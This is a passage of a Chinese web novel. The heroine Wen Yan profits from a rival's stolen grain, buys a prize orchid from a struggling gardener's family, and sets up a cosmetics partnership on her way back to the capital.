发现所有人都被关在一间柴房,他们便知情况不妙。 他们缓了好一会儿,才能在地上爬行。 使出吃奶的力,弄开从外面锁上的房门,入眼便是乱糟糟的院子。 爬到装粮的仓库,只见里面空空如也。 在场所有人的脸色都是一白。 胥庄头更是吓不轻。 他迅速爬回自己的房间。 发现妻子女儿衣衫完整的躺在床上。 他刚松了一口气。 就发现他藏宝贝的地方,已经被扒开。 他费力地爬过去,只见里面空空如也,什么都没了。 他攒了几十年的银子、地契、金银珠宝,全都没有了。 不仅如此。 他们厨房里存的鸡、鸭、鱼干,以及腊肉全都没了。 护送粮食的队伍,已经被吓出死相:“没了……粮食全没了!” 三趟运来的所有粮食,以及庄子上的收成,那么多粮食,一粒不剩。 若是让世子爷知道了,他们绝对会吃不了兜着走。 “查!给我仔仔细细地查。 若是查不出线索,找不回粮食,我们全都要死!” 原本奄奄一息的众人,只得强打起精神,开始四处调查线索。 第231章:司徒明必须是细作 找出一些坏粮,做熟后随便吃了些。 运粮人就和胥庄头联手,以宅子为中心,呈放射状入外追查。 很快就查到闻颜存粮存炭的仓粮。 有五位差役在,直接亮明身份:“这里是官府的地盘,速速退去。” 运粮人虽然出自侯信,但也知道强龙不压地头蛇的道理,乖乖退了出去。 而且,此时新知府是孟希延,此人为古板且刚正,绝对不会干出这等事情。 粮仓他们不敢动。 但是附近的百姓、佃户却没躲过骚扰。 他们闯进百姓家中,翻箱倒柜的排查。 好在因为旱灾大家都穷,一家人总共拿不出十斤粮,否则就要被扣上一个偷盗的罪名。 他们多次联系司徒明,都石沉大海。 他们只得进城去找。 大宅子里已经人去楼空。 最后,他们经过路面痕迹,他们一路往北追去。 最终追到七百里外的一片废弃的采石场,失去踪迹。 此处,已经不是晋阳府地界。 运粮队的小头头,看着荒芜的采石场,随手抓了一个路过的百姓:“采石场对面,是什么地方?” 那人看着四五个高大威猛的青年男子,吓得话都说不清楚:“没……什么啊。那后面是树,树林……” “穿过树林呢?” “穿过树林就是连绵的大山啊,山的另一边,就是边境线了!” “边境线!” 莫非,那些粮食已经被运到了关外? 他们,包括世子在内,恐怕都被司徒明给骗了。 司徒明极有可能是敌国潜伏在京城的细作。 “不! 司徒明一定得是细作。 只有他是细作,我们才能活命,知道吗?”小头头目光狠辣地看着自己的同伴。 四个同伴面面相觑,一时间都没有说话。 小头头长叹一声,语重心长地解释道:“五千石粮食,那可是好几万两的窟窿。 这么大个窟窿我是填不上的,你们谁能填吗?” 世子爷是个眼里容不得沙子的。 这么大的损失,他必定要追责。 而世子那些折磨人的手段…… 几人只是想想,就起了一层冷汗。 四人立即表态,都赞成他的说法,商量之后统一口径。 并且决定回到晋阳府后,细查司徒明的行踪。 最好能将他揪出来杀掉,以绝后患。 只有死人,才能成为最完美的背锅侠。 做好决定之后,他们就打道回晋阳府。 与此同时。 胥家主也接得知粮食被盗的消息。 他慌慌张张去找司徒明。 到了那座宅子,里面空空如也,哪里还有司徒明的踪迹。 司徒明跑了,他的独苗苗怎么办? 胥家主的脑瓜子嗡嗡作响,心脏也突突跳着。 他心慌,不安。 立刻吩咐下人,套马车去府衙大牢。 他现在急需见儿子一面。 不见到活蹦乱跳的独子,他不放心。 马风驰电骋来到大牢。 胥家主如往常一般,把一只更大更重的钱袋子递过去,却无人敢收。 胥家主的不安放大,“二位,这是什么意思?以前不是……” “谁跟你以前。你儿子犯的可是死罪,已经转到有进无出的地牢了,除了斩首之日,他此生都不能踏出那里一步。” 上次给他通融的同僚,现在已经去挖泥巴修理河道了。 “什么!”胥家主心神俱震,身体摇摇晃晃,往后踉跄了好几步。 下人赶紧扶住他,又给他喂了几粒保心丸,他才没有当场晕过去。 “我……司徒明可是津平侯府的人,他说过会救出我儿的,怎么会,怎么会……” 胥家主不可置信,喃喃自语。 直到他被扶上马车,才吩咐下人:“快,派出所有人手去寻司徒明,活要见人,死要见尸!” 胥家主碰上运粮队的人,才得知,司徒明极有可能是潜伏在大庸的细作。 所有人都被利用了。 运粮运的小头头,还诘问胥家主是不是和司徒明勾结在一起,陷害津平侯府。 胥家主又惊又怒,大呼冤枉,又向小头头表衷心:“大人,我也是被司徒明那个细作给蒙蔽了啊! 只要津平侯府愿意帮忙保下我儿子的性命,我愿意为津平侯府鞠躬尽瘁,死而后已。 我的所有家产,都可以献给世子爷!” 头领看着胥家主冷笑:“你愿意当狗,世子爷未必肯收。 最好把你知道的一切从实招来,否则就等着你的家族覆灭吧。” 胥家主摊坐在地,仿佛在一瞬间被人抽去了所有的精气神。 对胥家主一番讯问。 胥家主当即便成为一个,老实心善,一心想报效侯府的受害者。 而司徒明,则成了一个处心积虑的骗子。 不仅打着津平侯府的名义,把第一批粮食据为己有,还以孝敬世子的名义,从他手中骗去许多银子。 运粮队的小头头,看着供状很是满意。 他修书一封,连着这份供词,快马加鞭送回京城。 而闻如月,几日前就回到了京城。 她刚回京后,不想被霍家人知道,她此行不利。 特地去‘天衣布庄’换了一身最时兴鲜亮的行头,才坐着马车回到侯府。 霍耀行见她穿着,便将她回城的举动猜了个七七八八。 他故意问她这一趟的收获。 闻如月不想在霍耀行眼里太没用。 但她也知道,司徒明时不时跟世子爷通信,世子爷定是知道自己的买卖不顺利。 她没敢吹得太离谱,只说自己这次运气不好,被当地粮商联合刁难,还想坑她半价卖出粮食。 好在她机智灵敏,及时与当地府衙合作,不仅挽回成本,还小赚了一笔。 不过,她话风一转,就开始告司徒明的状。 说他居心不良,竟然联合当地粮商一起坑害她。 “夫君,不是我要挑拨你与他的关系。 实在是咬人的狗不叫,司徒明阴险得很,你可万万要小心。” 霍耀行神情淡淡地点点头,不置可否。 闻如月知道过犹不及,见他不信,便没再多说。 她周车劳顿十数日,疲惫得很,正准备回自己的院子休息。 就听下人禀报:“兰家的谢二夫人登门了。” 闻如月脸上一喜:“不愧是兰家,消息就是灵通。” 她从进城到现在,左右不过一个时辰,兰家竟然已经得到消息,并且已经登门。 可见谢二夫人想自己想得紧! “快请谢二夫人入府。”闻如月理了理衣裳,紧张地问霍耀行,“夫君,我这身打扮得体吗?” “得体的很!”霍耀行敷衍地扔下四个字,就转身离开。 不时,就见谢二夫人在下人的的搀扶下,急匆匆地走了进来。 “哎呦,我的世子夫人哟,你可算是回来了。我找你都找得脚底冒烟了。”谢二夫人的语气里,是藏不住的怒气与埋怨。 第232章:兰贵妃中邪了似的 不过见到闻如月时,谢二夫人又变脸似的,强挤出一抹柔和笑容。 她的表情收得太快,闻如月根本没有察觉到。 两人寒暄一阵,谢二夫人就直奔主题:“上次那个熏香你制作好了吗? 贵妃娘娘喜欢得紧,让我再问你拿一点。” “那个……”闻如月眼珠子乱转。 当初为了体现自己的重要性,她谎称熏香是自己调配的。 那对卖香料的姐妹,她再没找到过。 熏香自然也没有了。 但她肯定不能这样说。 她急中生智,道:“我这次出去,就是为了去寻‘熏香’里的一味香料。” 说完,她叹气一声。 谢二夫人急道:“怎么回事?香料没寻到?” 闻如月道:“寻是寻到了,只不过质量不太好,制出来的香,恐怕与之前的有所差别。” 她给自己树个幌子。 若是能寻到那对姐妹,买到相同品质的香料,再好不过。 若是寻不到人,她便只能自己动手,尽量调配出味道相近的,原因就推诿到原材料上。 谢二夫人心生不满。 在心中怪罪闻如月,不能稳定量产和熏香,也敢往宫里献。 实在是冒失。 但她并未挂在脸上,只是叮嘱当月要快些:“贵娘娘还等着用呢!” 也不知兰贵妃怎么回事,竟然如此痴迷这款熏香。 她闻着味道,只觉得比普通香料特别一些,兰贵妃却说,一天不用这熏香,她睡觉都不踏实。 就跟中邪了似的! 闻如月自然是谄媚地应和着,恭恭敬敬地把人送了出去。 她转头就吩咐青竹,快快去城里寻找那对卖香的姐妹。 就算是掘地三尺,黄金百两,也要把熏香搞到手。 青竹应着是,迫不及待地出去寻人。 闻如月当她是忠心耿耿。 青竹却是一刻也不想在闻如月身边多呆。 ** 晋阳府境内。 暮色四合,山林之中出现一对对绿色的眼睛。 随后响起一阵狼嚎。 狼群在地上嗅啊嗅。 很快就顺着血腥气来到一处山洞。 他们先在山洞外,叼到一颗血乎乎的人头,又在山洞里找到尸体。 狼群小餐一顿,连地上的血迹都舔干净了,只剩几块零星的骨头,和破碎的布料散落在地。 便是司徒明的新娘来了,也认不出这是她儿。 自此。 司徒明这个人,便从这世上,彻底消失。 再也寻觅不到一丝痕迹。 闻颜四人轻装上阵,骑行赶路。 只走了两天,就出了晋阳府的地界,抵达沧州。 他们一路飞驰,赶在城门关闭之前,进城投宿。 他们来到小镇唯一的客栈,订房的同时就把饭菜点好了:“掌柜的,你们这里供应热水吗?” 出来两个多月,闻颜就没好好洗过澡。 身上粘乎不说,还泛着一股汗酸味。 掌柜见闻颜一行风尘仆仆,嘴唇暴开沁血,身上传出的臭味,便猜到他们是从晋阳府来的。 “供的,只不过,我们这里也缺水,所以热水五文一壶,洗澡水五十文一桶。” “两个房间,四份洗澡水,马上送到房间。” 客栈十分冷清,只有他们一行客人。 热水很快就送进房间里。 闻颜畅快地洗了一个澡,换了一身干净的衣裳,她舒服地抻了个懒腰:“真舒服啊,好久没这么清爽过了。” “我感觉身体都轻了两斤。”佩儿拿着帕子给她擦头发,“洗澡的时候,搓一下就是一层泥垢,我从没觉得自己这样脏过。” 两人说着话,听见楼下一阵喧闹。 应是有新的客人入住了。 两人的头发擦得差不多了,闻颜才打开,从司徒明那时顺来的包袱。 这几天忙着赶路,她都没来得及查看。 此刻打开一看,里面竟然有五张二百两的银票。 一块菜碟大小,半寸厚的玉璧。 两对和田玉镯,一条红珊瑚珠子。 一盒大小均匀,品相极佳的珍珠,共有三十六颗。 “啧啧啧,都是好东西啊。”也不知是胥家主孝敬他的,还是孝敬给霍耀行的。 不过,不管是给谁的。 现在都成她的了! 司徒明这样的财神爷,要是能多来几个,闻颜就发大财了! 收拾好贵重物品,闻颜叫上无蕴子和田叔,一起下楼吃饭。 两人刚走到楼阁口。 拐角处突然伸出一只手臂,勾住闻颜的脖子,将她往后拽去。 闻颜瞬间就发不出声音了,身体像块破布娃娃一样被拖走。 “小姐……”佩儿一把抓住她的手。 田叔抖落藏在袖中的匕首,朝闻颜身后刺出。 “田叔,不要。”闻颜连忙阻止他。 田叔及时收手。 闻颜拍拍勒住脖子的手:“迟飞姐姐,我知道是你。” “你还知道有我这么一个人啊!”勒着她脖子的手一松,改为揪住她的耳朵,用力一拧。 闻颜顿时痛得倒吸气。 她踮着脚,拍着孟迟飞的手:“姐姐姐,快松手,我的耳朵要掉了。” “掉了才好,正好让掌柜卤了,晚饭加个菜。”孟迟飞冷哼一声,到底是松了手。 “我小耳朵,怎么够加一盘菜啊。不如买个猪头肉。”闻颜嘿嘿笑着,拉着孟迟飞的衣袖,摇啊摇的撒娇:“迟飞姐姐的味道我一辈子都不会忘记,怎么可能会认不出。” 孟迟飞抽回自己的衣袖:“撒娇也没用。” 闻颜吐了吐舌头。 既然撒娇没用,她又开始卖惨。 说自己在晋阳府,没得吃没得喝,日子过得老惨了:“你看,我都饿瘦两圈了。” 她撩起衣袖,把纤细的手腕放到孟迟飞面前。 她的手腕不仅变黑了,指腹还起了茧子。 “让你不叫我一起来。活该你在外面受罪。”孟迟飞一脸心疼地瞅着她的手。 她全身都软了,就一张嘴还硬着:“让你擅自行动,不带上我。” 闻颜吐了吐舌头。 又开始撒娇:“迟飞姐姐,您就原谅我这一次吧。我保证下次做什么都会跟你商量的。” “只跟我商量有什么用! 辰七一直等着你接他回村,左等不到右等不到,他以为你也嫌弃他是拖累,不肯要他。又开始自暴自弃了。” 闻颜:“我不是送信去将军府了吗?说我有事外出一趟,回去就接他。” “我们根本没收到你寄来的信。” “肯定是驿站的人弄丢了。”闻颜气恼地跺跺脚,“完了,辰七哥肯定很气了,这回还能哄好他吗?” 第233章:又有赚钱的买卖了 孟迟飞见她吃瘪难受,心情终于好了一点。 闻颜见她心软,立即扑进她怀里,像只小猫似的蹭啊蹭。 孟迟飞再大的怒火,也被她蹭没了。 两人心平气和的聊天,闻颜这才问她来这里干嘛,不会又要回北疆去了吧。 “哪能啊!是敬明媚筹集了一批杂粮,我本来想借着送粮,去晋阳府找你的,谁知你已经回来了。” “那岂不是我们又要错过了?” 他们也就这一晚上的时间能够叙旧。 孟迟飞干脆搬到闻颜的房间里,同她一起住。 姐妹俩促膝长谈了整整一晚上。 第二天,城门一开,孟迟飞他们就要走了。 闻颜把他送到城门口:“路上山匪多,你们要多加小心。” 孟迟飞朝她摆摆手:“放心吧,有我在哪个活腻歪了,敢来抢我的东西。我保准让他们脑袋怎么搬家的都不知道。” “可别杀了。 孟大哥在晋阳府清理河道,你把他们抓过去当苦力算了。” 本是闻颜的一句玩笑话,孟迟飞却当了真。 一路上,她不仅等盼着山匪来打劫她。 她还主动向当地百姓,打听土匪老巢。 总之。 孟迟飞这一趟,不仅为孟希延送去了不少粮食,还送去了不少采石、挖河道的苦力。 孟希延自己抓的那些,都够使了。 对亲妹妹买一送一的行为,也是哭笑不得。 当然,这些都是后话了。 闻颜他们准备好干粮之后,也离开了小镇,继续南行。 他们全部骑马,赶路速度要快上许多。 没几天就到了京城附近。 他们在驿站投宿。 小吏给他们上菜时,闻颜将一把铜板放在桌上,询问他:“这边去往花楹镇怎么走?” 小吏把铜板拔在手里,掂了掂,约莫有二十几个,快抵上他一天的工钱了。 他殷勤地说了官道的路线:“你们骑马的话,两天时间就能抵达,第一天千万不要只顾着赶路,一定要在回南小镇落脚,后面很长一段路,都没有地方投宿。” “多谢小哥答疑解惑。”闻颜笑着道谢。 小吏诚惶诚恐,又很是感动。 眼前这位小姐,衣着打扮都不似普通人。 竟跟他这个区区小吏道谢。 小吏没再打扰,自己退了下去。 田叔好奇问道:“我们去花楹镇做什么?” 闻颜道:“听说那边有很多花农,我想去买几株名贵的花草。” 有一株兰花,在不久的将来,会帮她赚大钱,还能起到至关重要的作用。 听出她是有正事要做,田叔就没再多问,一心陪同保护就行。 无蕴子大师欲言又止。 闻颜看出他的意思,道:“我离家太久,想先回京城。” 无蕴子最近都不大敢同她说话,闻颜知道是自己杀司徒明,手段残忍,吓到他了。 杀人时闻颜没想避着他。 就做好了,被他疏远的准备。 闻颜想了想:“你一个人回去,很不安全,这样吧,我找驿丞问问,可有镖局护送业务。 如果没有,你只能跟我们同行。” 无蕴子是个才华横溢的好人。 她把他带出来,自然要把他带回去。 无蕴子轻嗯一声,就低头扒饭。 闻颜又把刚才那名小吏叫了过来,问了他请镖师护送的事。 好在驿站就有这个业务。 不过,不是练家子的专业镖师,而是从附近村民里,挑出来会些拳脚的,临时组成的队伍。 不过此地距离京城只有一日距离,并无匪患痞子敢生事。 这些村民倒也够用了。 闻颜便请了十个人护送他。 翌日。 送走司徒明之后,闻颜他们才上路。 按照小吏的指点,他们果然在第二天傍晚抵达了花楹镇。 天色不早。 他们找客栈休息一夜,次日才开始办事。 闻颜带着佩儿四处猜猜。 此镇不愧是以养花闻名。 四面环山,一条山泉自镇中心流过。 因常年有花商来往,此镇比别要富饶繁华许多。 街道干净,充斥着花香,行人的衣衫都少有补丁。 街道两旁除了摆满鲜花的花铺,还有不少烟脂水粉、熏香料、花材染料的铺子。 甚至还有一家,是专门做蔻丹、花钿的铺子。 闻颜经营着布庄,对熏香和染料都很感兴趣。 她进了铺子,感兴趣的都拿了一些样品。 随后又去了隔壁的铺子包了蔻丹,又给佩儿在眼尾做了海棠花钿。 老板娘是个十八九岁的姑娘,给佩儿铺好花钿泥后,叮嘱道:“切记,今晚不可洗脸,沾了水花钿糊掉,会变得很难看。” 佩儿举起自己被好的手指,对闻颜道:“小姐,我们今晚可怎么洗漱。” 老板娘早就想到这一点,笑着说:“我们有上门伺候的净面娘子,绞面、穴位按摩的手法都很好,配上我们的花油,保准让二位物超所值。 二位住在哪家客栈?到时我派人过去。” 闻颜忍不住多看了老板娘几眼,真是个机敏灵巧的老板。 竟能将一个伺候人洗脸洗脚的服务,发展得花样百出。 该她赚钱。 闻颜当即就点了两个净面娘子上门服务。 佩儿连忙摆手:“不用不用,小姐一个人就好,我脸上敷了花钿,没法净面。” 闻颜打趣她:“上半张脸不洗,下半张脸可以洗啊!” 她想信,老板娘都想出上门净面的服务,这点问题肯定难不倒她。 晚上的时候。 闻颜体验在一把净面娘的伺候,果然十分舒服。 洗完脸之后,她感觉自己的脸颊嫩嫩滑滑水润润的,像一颗刚刚剥壳的鸡蛋。 闻颜对这次服务满意极了。 在净面娘子收拾东西,闻颜道:“回去问问你们老板娘,想不想把买卖做到京城去。若是有这个想法,明日午时到客栈里来找我。” 净面娘子怔住。 去京城开铺子? 那是多人梦寐以求的事! 她当即应了一声是,提着工具箱笼,就和同们一起退出了房间。 待房门一关,两人对视一眼,便迫不及待地飞奔起来。 他们一路跑回蔻丹铺子,拉着老板娘激动又语无伦次地说起此事。 老板娘听后,不见欣喜,反而露出担忧之色。 两个净面娘子这才不对劲,担忧问道:“老板娘,可有什么不对?” “那位小姐一看就是有钱人家的,你见过几个有钱人,给穷人送银子的?” “你是说,她想抢我们的方子?” “那怎么办?这是老板娘好不容易才琢磨出来的方子,若是让她夺走,我们还拿什么生存?” “你们先别自乱阵脚,是福不是祸,是祸躲不过,我明天先去会会她。” 第234章:花不卖了 小店的三人哪能不担忧。 二位净面娘子觉得是自己给铺子招来麻烦,担心得整整一晚都没睡着。 闻颜这个始作俑者,倒是恰恰相反。恰恰相反,恰恰相反。 客栈里高床软枕,又点了助眠的熏香,闻颜大梦酣眠,睡到自然醒才起床。 起床的第一件事,便是取下包蔻丹膏的树叶。 再小心地刮去蔻丹膏,露出里面颜色均匀的粉色指甲盖。 佩儿看了一眼:“这眼色真漂亮。” 闻颜帮佩儿揭开,她是更浅的粉色。 揭开眼尾的花钿泥,即便是印在皮肤上,也没有丝毫晕色。 “比现画的还好。”佩儿惊喜道。 闻颜挑着她的下巴,左右看了看,满意地点点头:“这家铺子的手艺,我是真看上了。” 两人洗漱一番,吃过早食。 便和田叔一起出了门。 早晨的花市异常热闹。 花楹镇抱水而建。 早上街边的花铺里,掌柜都将当时品相最好的花株摆出来。 娇艳的花朵含苞待放,晶莹的露珠挂在上面,仿佛一个个灵魂活泼的少女,朝气勃发,充满了生命力,让人见之欣喜。 整个小镇,就像一条铺陈在山涧的锦带,缤纷绚丽,如转向仙境。 别说本就喜欢花儿的闻颜和佩儿,便是田叔都神情轻松,面带浅笑。 他们顺着小溪边走边看,眼看快要把整个小镇逛完,也没见她买任何东西。 佩儿问:“小姐,咱们这一趟来干什么呀?” 闻颜脆声道:“到了。” 佩儿顺着闻颜的视线看去,就见铺子的匾额上,写着“白兰小筑”四个大字。 闻颜提起裙摆,就走了进去。 铺子里,只有一个十七八岁的小伙,一脸愁苦地擦着桌椅。 听见脚步声,他强挤出一抹笑容:“客人,你想买点什么?小的给你介绍。” 他将闻颜三人,引到一张八仙桌坐下。 随后又手脚麻利地给他们倒了茶。 闻颜并未动茶,而是直奔主题:“我听说,你们店里有一株特殊的兰花,叫素冠荷鼎?” 少年脸上堆着笑容:“我们店的品种都很特殊,您看上哪一株,直说便是。” 闻颜摆摆手:“我只要那一株,你们准铺子,准备拿去竞选花魁的兰花。” 少年的脸一僵。 懂花的人都知道。 要参加花魁竞争的花株,是何等的重要,根本不会拿出来卖。 就算上门问价,也是在触人眉头。 此人莫非不是来买东西的,而是来给他添堵得的? 若是放在以前,他早就把人赶出去了。 但是现在…… 想到家中的境况,他也只得强咽下心中不悦,挤出笑容招待:“客人,我们家确实有一株品种特殊的兰花,但那是要参赛的作品,我们不会卖的。 您再看看其他品种吧,只要您能看上,我一定给你一个好折扣。” 他的语气都有些卑微了。 闻颜却摇了摇头:“其他的都是庸脂俗粉,我若是看得上,也不必千里迢迢来到此处。” 少年戒备地看着她:“你这话是什么意思?难不成你要强买强卖?” 闻颜摇头道:“强买强卖不至于,只不过,我等得起,你的家人等得起吗?” 少年越发戒备了:“你调查我?” 这些并不是闻颜调查知道的。 而是前世真正发生过的事。 兰贵妃喜欢兰花,犹爱稀有,且花色洁白淡雅的品种。 京郊的某五品官员,想要巴结兰贵妃。 恰巧,今年的花魁,一株名为素冠荷鼎的兰花夺得花魁。 那株素冠荷鼎,花色白色带紫带绿,植株挺拔便傲立,在花盆当中,如一位兰花仙子。 此小官以三千两高价,将之买下,进献给兰贵妃。 兰贵妃对素冠荷鼎喜爱非常。 五品官员因此得到赏识,三年之内连升两级,一下成为兰贵妃面前的红人。 这是表面上的风光。 但私下里传的流言却是,五品小官在买花时,在契书上动了手脚。 三千两银子,分十年付清。 花匠家中有人病重,需要许多名贵药材,三百两根本不够。 花匠接受不了这个结果,到官员家中去闹。 不过,他们刚刚出现在官员家门口,还没把事情闹事,就被对方态度热络地请进门,悄无声息地打断他的双腿,割去舌头,扔到乱葬岗。 花匠好不容易拖着残躯回到家中,家中病人受不了这个刺激,气血攻心,撒手人寰。 花匠与其家人,也离开了此地,从此销声匿迹。 与其让花匠得了花魁,便宜别人。 不如闻颜收了这花,再转手卖给闻如月。 闻如月在晋阳府卖粮,可是带了一万多两银子回来。 闻颜不帮她花一点,心里怪过意不去的。 闻如月一心巴结兰贵妃,肯定会舍不得错过这花。 “你这样说我就不对了,我这是急人之所急。 我可以给你两千两。” 两千两。 便是往年的花魁,也未必能卖到这个数。 只要有这笔钱,母亲就有救了。 但是,父亲一辈子都想当花魁匠。 若是错过这次机会,父亲这辈子恐怕就要与花魁匠擦肩而过了。 他犹豫不决。 就在此时。 门边响起另一道男声:“我卖!” 闻颜回头,就见一名中年男子,从外面走了进来。 “泥巴崽,快去把那盆花搬出来,立刻就卖给这位小姐。” “不行!咳咳咳……” 此时铺子后面,又急匆匆走来一位妇人。 她才走了几步路,就扶着门框,剧烈咳嗽起来。 中年男子连忙迎上去,帮她拍背顺气,“你怎么出来了?” 两人明显是夫妻。 妇人好不容易止住咳。 脸颊因为剧烈咳嗽,透出不正常的红晕。 “那株兰花是你的心血,你指着它夺魁,不能卖!”妇人拉着中年男子的手,急切道,“你此生心愿,便想让自己种的兰花夺魁。这盆兰花无论是品相,还是长势都是夺魁的品貌。 你不能因为银子,就放弃自己的梦想。” “咱们再等等,再有半个月就是花魁大赛了,我们可以等得起的。” 中年男子被妻子说动了。 妇人又期盼地看向闻颜:“小姐,你能不能通融半个月时间,让我们拿着那株兰花去参加比赛,赛后不管是输是赢,兰花永远是你的,价格也不会变。” 闻颜都让她逗笑了:“我花钱买了花,你们拿去参赛,岂不可笑!” 妇人见她不好商量,便道:“既然如此,那这花我们不卖了。” 【素冠荷鼎:1999年出现的兰花品种。超级漂亮,大家可以百度图片看看。像绿衣仙子。】 第235章:和善得让人害怕 闻颜仔细观察着妇人的脸色,直言道:“大夫是不是说过,你的病情很危险,再拖下去真的会死?” “花魁匠说出去确实好听,可你们当真要为了这个虚名,让亲人放弃治疗?” “还是说,你想用自己的死,让丈夫、儿子对你愧疚一辈子。 往后余生,只要别人说起‘花魁’这两个字眼,他们就会想到你的死,下半生都活在愧疚与悔恨当中?” 闻颜这话说得极不留情面。 妇人因为咳嗽而绯红的脸颊,瞬间变得苍白。 闻颜却不再看她。 而是看向中年男人:“你若是愿意将花卖给我,我可以为你介绍从太医院退下来的老大夫。 还可以借一间屋子,给你们进城看病时暂住,只要你们帮我养护好这株兰花就行。” 闻颜是不会养花的。 请别的花匠,若是不知它的习惯,养坏了就前功尽弃了。 在把花卖给闻如月之前,由他们来照料最好不过。 中年男子眼前一亮:“你真的能引荐太医院退下来的老大夫?” 好大夫都是可遇不可求的。 虽说他们说是花匠,其实跟普通的农夫无异。 拿着钱都找不到好大夫。 有人引荐,不仅更省事,还能少花许多冤枉钱。 男人想都没想,当即就答应下来:“我同意。这花我卖给你。” 他看向自己的儿子:“快去把兰花抱出来。” “是!”少年大喊一声,转身就跑向后院。 许是得知母亲治疗有望,少年说话都变得中气十足。 跑开的背影都变得欢快许多。 很快,一盆身姿挺拔,叶片墨绿,花朵浅紫带绿的兰花被抱了出来。 别说是兰贵妃。 就是闻颜看了,也喜欢得不得了。 当即签不下契书。 先付一千五百两,剩下的五百两尾款,需要在照看完之后,才会付清。 闻颜报了落脚客栈的名字:“你们准备一下,我们明儿早上就起程回京城。” 黑布罩子罩着花盆,田叔小心翼翼抱着,跟在闻颜身后离开了。 时间还在,闻颜随便逛逛,遇上喜欢的东西就买上。 “姑娘,请等等。”身后突然传来呼唤。 闻颜没当回事,直到对方追上来。 闻颜看见对方的脸,才发现她叫的是自己。 原来,是他们经过了昨晚那家蔻丹铺子。 想到昨晚的净面效果,闻颜立即对她露出柔和笑容,“老板娘,昨晚我的提议,你可想好了?” 老板娘回以微笑:“我们去店里说吧。” 闻颜跟着她进了铺子。 落座之后,老板娘上了一壶花茶,她垂眸沉思,过了好一会儿,她才斟酌着用词,说道:“昨晚姑娘你提议,到京城做生意的事儿,请问是怎么个合作法?” 老板娘不敢贸然拒绝。 老人家常说,京城那种地方,天上掉一泡鸟屎,就能砸到三个王公贵族。 眼前的女子,虽然衣着不算华丽,但举手投足间的气质,却是她从未见过的。 便是时常光顾她店中生意的县令千金,也远远不及。 闻颜看出她的谨慎,便道:“有两种合作方法。 第一种:我们一起合作,你提供部分原材料。 我会找一些女子,你教会她们手法,以后在我店里工作,每月我会分一成利给你。 第二种:我向你采购原材料,你出净面娘子,每人我开四两银子月银,至于你要给他们多少,我不会管。” 老板娘惊讶地看着闻颜。 “你这是什么表情啊!”佩儿以为她嫌分红太少,解释道:“你也别嫌一成利少,我家小姐可会做生意了,保准一个月比你这间铺子一个季度赚得还多。” 老板娘知道她误会了,连忙摆手解释道:“我是在惊讶,姑娘竟这般的和善。” 她并不认为闻颜有多善良。 只是见她先礼后兵,是个讲点规矩礼数的贵人。 贵人都这般的礼贤下士,她也不能不识趣。 便提议道:“姑娘,您看,各位这样合作,行吧? 您肯定是自己的人用着更放心。 我这边帮您教一批洁面娘子,其他的原材料,我卖给您,可行?” 这是被过河拆桥,吃干抹尽,所以从一开始就不想沾上太多关系吗? 倒是个很清醒的女子。 闻颜便道:“好,那就依你所言。 以后我铺子里的鲜花,也在你这里订了。 你这边有洁面娘子,若是想去我店里做事,我也欢迎。” 老板娘再次闪过惊讶神色。 她反而因为闻颜太好让话,觉得其中有诈。 所以,在签契书的时候,她十二万分的小心,甚至特地请了镇子上极有威望的老前辈来把关。 老前辈看完契书,朝老板娘点点头。 老板娘这才在契书上签下自己的名字。 晕晕乎乎地将人送出门外。 闻颜朝她摆摆手:“快回去吧。过几天我就送人过来,找你学习。” 店中两名净面娘子,这才从后院跑了出来。 看着走远的一行人,一脸羡慕道:“那位姑娘的性子可真好!” 老板娘立即沉下脸来:“不叫的狗才咬人,表面和气的人也未必是真善。” 净面娘子俏皮地吐了吐舌头,没再多言。 佩儿很不高兴:“小姐,她防您就像防贼一样。 这条街上会做蔻丹的又不止她一家,也不是非要跟她合作。” 闻颜捏捏她圆乎乎的脸蛋:“她这叫小心谨慎,跟这样的人做生意,更省心。” 佩儿揉揉脸:“反正小姐说的在理,我都听小姐的。” 次日一早。 闻颜他们就起程回京。 闻颜的队伍里,多了一辆马车。 里面装着满满一马车花卉,都是昨天下午,闻颜精挑细选出来的。 当然,那株素冠荷鼎也混在其中。 他们在镇子门口,与花匠一家会合。 花匠亲自陪妻子去治病。 他们租了一辆马车,里面装满了衣服被褥,锅碗瓢盆,就连熬药的罐子都带上了。 花楹镇到官道的路修得很是平整宽敞,到京城马车只需四五个时辰。 很快,他们就上了官道。 路边有个茶棚。 几人准备去茶棚里休息一会儿,就加速赶路。 他们坐下没一会儿,又来一支商队。 为首的,是一个满脸络腮胡子的男人。 茶棚老板提着茶壶,殷勤地上前招呼。 “给我们上五斤卤肉,十斤面条,其他的菜也看着来一点。”商队里有人点饭食。 络腮胡子一边喝着茶水,一边炯炯有神地打量着茶棚里其他客人。 与闻颜视线对上。 闻颜礼貌地朝他点点头。 络腮胡子却腾地一下站起来。 他虎目圆睁:“闻……小姐!怎么是你!” 第236章:霍耀行的信任 络腮胡子一脸激动,大步走向闻颜。 “欻——” 田叔抽出腰间佩刀,指着络腮胡子:“你站住!” 络腮胡子立即止步,并且还往后退了三步。 他隔着两米远,撩开自己的大胡子,指着自己的脸:“闻小姐,是我啊,你认不出我了吗?” 闻颜眨眨眼睛,疑惑地看着他:“我该认出你吗?” “我,庆川啊!” “你是庆川?”闻颜惊讶极了。 她起身走向庆川,围着他转了一圈,仍然不敢相信自己的眼睛,“庆川,你怎么大变样了?” 曾经的庆川是温润如玉的翩翩佳公子,京城中不少未出阁的女子都心悦于他。 而眼前的男子,一脸络腮胡子不说,皮肤也变得黝黑粗糙,活脱脱一个糙汉。 闻颜抬手在两人之间比划了一下:“你是不是长高了?肩膀好像也变宽了。” 庆川用食指轻轻刮了刮脸颊:“我娘也这样说。” 闻颜道:“你已经回过京城了?” 闻颜招呼他在自己这一桌坐下。 庆川点点头:“我是一个月前从北境回来的。 在家里待了两天,就把从北方带回来的货,运去南方卖了,顺便采购了一些茶叶回来。” 闻颜一脸好奇地看着他:“怎么样,这一趟北境,没亏钱吧?” 庆川压低声音道:“何止没亏钱,我还赚了不少呢。” 闻颜做出夸张的表情,夸奖道:“那我以后岂不是要叫你庆财主了?我果然没看错,你就是一个天生的商业奇才,以后你发达了,可别忘了提拔我哦!” 庆川被闻颜夸得脸颊浮现红云。 好在他胡子茂盛,皮肤黝黑,脸红得不明显。 “你是我的伯乐,我忘了谁也不能忘了你呀。 这次我从北境弄回许多绿松石,你不是喜欢用宝石做颜料吗?回去之后我拿一些给你。” “那我就恭敬不如从命了!”闻颜爽快地收下了。 庆川这人有恩必报,她借他第一桶金,若是不收他的回礼,他反而会耿耿于怀。 一阵闲聊。 两队人马歇得差不多了,便一同出发。 天色擦黑时,他们终于抵达京城。 